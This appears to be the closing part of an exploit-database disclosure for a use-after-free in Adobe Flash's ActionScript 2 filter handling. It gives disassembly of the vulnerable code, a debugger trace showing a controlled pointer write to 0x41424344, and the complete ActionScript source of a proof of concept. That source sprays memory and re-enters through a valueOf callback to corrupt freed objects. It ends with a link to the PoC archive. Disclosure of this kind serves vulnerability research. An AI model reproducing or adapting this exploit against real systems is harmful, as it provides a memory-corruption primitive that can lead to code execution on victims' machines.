.text:004D7225                 xor     esi, esi
.text:004D7227                 call    xAS2_getArrayLength       ; here we can still execute a script and delete the filters...
.text:004D722C                 test    eax, eax
.text:004D722E                 jle     short loc_4D725C

Should crash that way:
CPU Disasm
Address   Hex dump          Command                                  Comments
004CE27F    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE282    8942 04         MOV DWORD PTR DS:[EDX+4],EAX         ; write a pointer to 0x41424344
004CE285    8B51 04         MOV EDX,DWORD PTR DS:[ECX+4]
004CE288    8950 08         MOV DWORD PTR DS:[EAX+8],EDX
004CE28B    FF41 08         INC DWORD PTR DS:[ECX+8]
004CE28E    8941 04         MOV DWORD PTR DS:[ECX+4],EAX
004CE291    C2 0400         RETN 4
004CE294    FF41 08         INC DWORD PTR DS:[ECX+8]


***************************************************************************
Content of flash_as2_filters_uaf_write4_poc.fla
//Compile that with Flash CS5.5 and change the property "s" in the swf to "4"
//It's because Flash CS5.5 does not allow naming a property with a numeral

import flash.filters.GlowFilter;

var tfield:TextField = createTextField("tf",1,1,2,3,4)
var a1:Array = new Array()
var a2:Array = new Array()
for (i = 0; i<0x3F8/4;i++) {
	a2[i] = 0x41424344
}
a2[3] = 0
a2[0x324/4] = 0x41424344
a2[0x324/4 + 1] = 0x41424344
a2[0x324/4 + 2] = 0x41414143
a2[0x324/4 + 3] = 0x41414100
for (var i = 0; i<0x200;i++) {
	var tf:TextFormat = new TextFormat()
	a1[i] = tf
}
for (var i = 0; i<0x100;i++) {
	a1[i].tabStops = a2
}
	a1[0xFF].tabStops = []

function f() {

	_global.mc.createTextField("tf",1,1,2,3,4)

a1[0xFE].tabStops = []
a1[0xFD].tabStops = []
for (var i = 0x100; i<0x200;i++) {
		_global.a1[i].tabStops = _global.a2
	}
}

_global.mc = this
_global.counter = 0
_global.a1 = a1
_global.a2 = a2

var oCounter:Object = new Object()
oCounter.valueOf = function () {
	_global.counter += 1
	if (_global.counter == 4) f()
	return 10;
}

var o = {length:oCounter, s:new GlowFilter(1,2,3,4,5,6,true,true)}
tfield.filters = o;


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37884.zip